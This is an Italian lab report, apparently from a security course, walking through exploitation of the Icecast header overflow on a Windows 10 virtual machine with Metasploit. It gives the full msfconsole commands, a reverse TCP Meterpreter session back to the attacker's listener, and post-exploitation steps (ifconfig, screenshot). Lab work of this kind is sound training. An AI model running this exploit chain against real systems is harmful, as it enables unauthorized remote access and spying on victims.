

REPORT S7-L4

Per prima cosa ho avviato in msfconsole e ho cercato l'exploit adatto per exploitare la vulnerabilità Icecast su Windows 10. Ho configurato il tutto e ho mandato il comando run.

```
msf6 > search windows icecast exploit

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
--  -
0  exploit/windows/http/icecast_header  2004-09-28      great No     Icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

Name      Current Setting  Required  Description
--      -
RHOSTS    yes             The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     8000            The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread          Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.1.25    The listen address (an interface may be specified)
LPORT     4444            The listen port

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > set rhost 192.168.1.26
rhost => 192.168.1.26
msf6 exploit(windows/http/icecast_header) > run
```

Questo exploit ci apre una shell meterpreter sulla macchina target e ha questo punto con il comando `ifconfig` possiamo vedere gli IP associati alla macchina.

```
msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] Sending stage (177734 bytes) to 192.168.1.26
[*] Meterpreter session 1 opened (192.168.1.25:4444 → 192.168.1.26:49499) at 2024-12-19 14:42:40 +0100

meterpreter > ip a
[-] Unknown command: ip. Run the help command for more details.
meterpreter > ifconfig

Interface 1
=====
Name       : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU        : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 3
=====
Name       : Intel(R) PRO/1000 MT Desktop Adapter #2
Hardware MAC : 08:00:27:71:39:f1
MTU        : 1500
IPv4 Address : 192.168.10.139
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::e4f9:dde:1e66:b096
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 4
=====
Name       : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU        : 1280
IPv6 Address : fe80::5efe:c0a8:a8b
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 5
=====
Name       : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:46:e3:c1
MTU        : 1500
IPv4 Address : 192.168.1.26
```

Infine con il comando **screenshot** direttamente dalla sessione meterpreter appena aperta è possibile ottenere uno screenshot della macchina target.